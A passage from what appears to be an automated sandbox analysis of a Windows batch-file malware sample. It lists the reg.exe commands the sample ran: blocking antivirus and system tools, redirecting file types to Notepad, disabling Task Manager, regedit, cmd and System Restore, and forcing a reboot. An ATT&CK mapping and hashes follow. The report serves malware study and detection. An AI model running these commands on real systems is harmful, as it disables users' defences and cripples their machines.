    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "73" /t REG_SZ /d "BDSubWiz.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2912
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "74" /t REG_SZ /d "bdreinit.exe" /f
    3⤵
    PID:5344
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "75" /t REG_SZ /d "agentpackage.exe" /f
    3⤵
    PID:4664
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "76" /t REG_SZ /d "setuppackage.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2920
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "77" /t REG_SZ /d "7zFM.exe" /f
    3⤵
    PID:1556
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "78" /t REG_SZ /d "procexp64.exe" /f
    3⤵
    PID:2824
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "79" /t REG_SZ /d "procexp.exe" /f
    3⤵
    PID:4688
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "80" /t REG_SZ /d "WinRAR.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:5516
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "81" /t REG_SZ /d "BdVpnService.exe " /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6104
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "82" /t REG_SZ /d "BdVpnApp.exe " /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:5232
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "83" /t REG_SZ /d "bdservicehost.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:228
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "84" /t REG_SZ /d "bdagent.exe" /f
    3⤵
    PID:236
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "85" /t REG_SZ /d "bdredline.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3572
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "86" /t REG_SZ /d "ekrn.exe " /f
    3⤵
    PID:4032
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "87" /t REG_SZ /d "eguiProxy.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:5692
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "88" /t REG_SZ /d "egui.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:1840
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "89" /t REG_SZ /d "AvastNM.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:4772
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "90" /t REG_SZ /d "AVGBrowserCrashHandler.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:1608
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "91" /t REG_SZ /d "AVGBrowserCrashHandler64.exe" /f
    3⤵
    PID:1380
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "92" /t REG_SZ /d "AVGUI.exe" /f
    3⤵
    PID:1564
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "93" /t REG_SZ /d "AVGSvc.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:5392
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "94" /t REG_SZ /d "aswEngSrv.exe" /f
    3⤵
    PID:2244
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "95" /t REG_SZ /d "wsc_proxy.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:940
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "96" /t REG_SZ /d "am807.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:5916
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "97" /t REG_SZ /d "artmoney.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2280
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "98" /t REG_SZ /d "chemax.exe" /f
    3⤵
    PID:2680
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "99" /t REG_SZ /d "Cheat Engine.exe" /f
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "100" /t REG_SZ /d "aswidsagent.exe" /f
    3⤵
    PID:5952
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "101" /t REG_SZ /d "AvastBrowserCrashHandler.exe" /f
    3⤵
    PID:5424
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "102" /t REG_SZ /d "AvastBrowserCrashHandler64.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:5848
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "103" /t REG_SZ /d "AvastBrowserCrashHandler32.exe" /f
    3⤵
    PID:1040
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "104" /t REG_SZ /d "AvastBrowserCrashHandler86.exe" /f
    3⤵
    PID:5248
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "105" /t REG_SZ /d "MSASCui.exe" /f
    3⤵
    PID:3988
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "106" /t REG_SZ /d "msdt.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2096
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "107" /t REG_SZ /d "MRT.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:6048
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "108" /t REG_SZ /d "msiexec.exe" /f
    3⤵
    PID:4928
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "109" /t REG_SZ /d "msseces.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:4324
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "110" /t REG_SZ /d "control.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:2336
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "111" /t REG_SZ /d "mmc.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2596
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "112" /t REG_SZ /d "opera_crashreporter.exe" /f
    3⤵
    PID:5864
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "113" /t REG_SZ /d "opera_autoupdate.exe" /f
    3⤵
    PID:5504
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "114" /t REG_SZ /d "opera.exe" /f
    3⤵
    PID:1596
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "115" /t REG_SZ /d "MicrosoftEdge.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5268
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "116" /t REG_SZ /d "MicrosoftEdgeCP.exe" /f
    3⤵
    PID:1464
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "117" /t REG_SZ /d "MicrosoftEdgeSH.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:5444
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "118" /t REG_SZ /d "launcher.exe" /f
    3⤵
    PID:2204
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "119" /t REG_SZ /d "regedit.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2304
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Windows\1.jpg /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:3288
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\mp3file\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:4048
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\mp4file\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:808
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\exefile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies system executable filetype association
    PID:5568
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\pngfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:5060
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\icofile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:4696
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\pdffile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2508
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\docxfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:5200
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\docfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:4980
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\csvfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:3292
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\hfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:4604
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\cppfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:4788
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\oggfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:1320
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\avifile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:4372
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\isofile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5984
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\zipfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:5944
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\rarfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5028
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\pptfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:5052
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\mkvfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:5244
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\xlsxfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:5684
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\jpgfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:3472
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\jpegfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2584
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\tiffile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5176
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\tmpfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:5064
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\dmgfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5012
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\slnfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2028
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\7zfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4196
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\afile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:3804
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\aafile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2164
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\001file\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:2492
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\allfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:1524
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\binfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:4204
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\asmfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:1116
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\svgfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:5116
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\bmpfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:6080
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\gzfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:5688
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\cabfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:3944
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\cfgfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4268
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\cmdfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4464
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\comfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies system executable filetype association
    - Modifies registry class
    PID:6028
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\cplfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5724
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\ctfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5512
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\curfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:1440
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\dllfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5292
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\htmfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:2884
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\htmlfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5708
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\wshfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:4492
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\vbsfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:3876
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\jsfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:2624
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\logfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:2988
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\wsffile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    PID:4016
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\jarfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:3012
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\cplfile\shell\open\command" /ve /t REG_SZ /d "notepad.exe" /f
    3⤵
    - Modifies registry class
    PID:2556
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSecurityTab /t REG_DWORD /d "1" /f
    3⤵
    PID:3652
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d "67108863" /f
    3⤵
    PID:2848
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d "67108863" /f
    3⤵
    PID:1540
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFileMenu /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2148
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1788
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d "1" /f
    3⤵
    PID:5896
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d "1" /f
    3⤵
    PID:6060
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d "2" /f
    3⤵
    PID:2084
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v RestrictToPermittedSnapins /t REG_DWORD /d "1" /f
    3⤵
    PID:2036
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d "2" /f
    3⤵
    PID:4260
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "121" /t REG_SZ /d "cmd.exe" /f
    3⤵
    PID:5204
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "120" /t REG_SZ /d "powershell.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2300
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DisableCAD /d "0" /f
    3⤵
    PID:6024
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
    3⤵
    PID:5364
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3540
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /t REG_DWORD /v "DisableRegistryTools" /d "1" /f
    3⤵
    - Disables RegEdit via registry modification
    PID:4868
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown -r -t 20
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1780

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:4960

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3994855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2648

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

1.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat
Size 848B
SHA256 5c9bee6ecba73cda027b99dea013cd54f53524e35750da629f53c841d75b6e8f
MD5 e59c7d9f080b068e3118e81385f467e7
SHA1 78ea57d55558847121cb70367d10dc9c6e833a26
SHA512 b452ccd1009f7976f4ba2f44c117bf2faee0768f22e9c55e41f16d4695cdcd296f0a4321de8dc4855536b364844dffad5df0d46cb711f1c49f024e3afc043475
TLSH
T17A010C1A94328291D193B90491A7B84FCBBCA8A3E0E15B0301E37461A4C2D0A46339FA
MD5 SHA1 SHA512 TLSH

Submit Download

42.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\42.exe
Size 27KB
SHA256 43118bc6f1c03b9f749efc244d7fd0553d45ec50ae2e4ea363e17f85f832290f
MD5 daf9159a8fbc9510e9dc380c2cae924d
SHA1 5e1bf2dbe567ffc04c194b31de4f4e15c630cae5
SHA512 88b01d7b3f76530124f8149668879b9cf66075f228e8c3000d75383bf10c11eb43bd5c83b445b19ec24de578415a26153d3fc0d329b6dd195f09f1226a960ea8
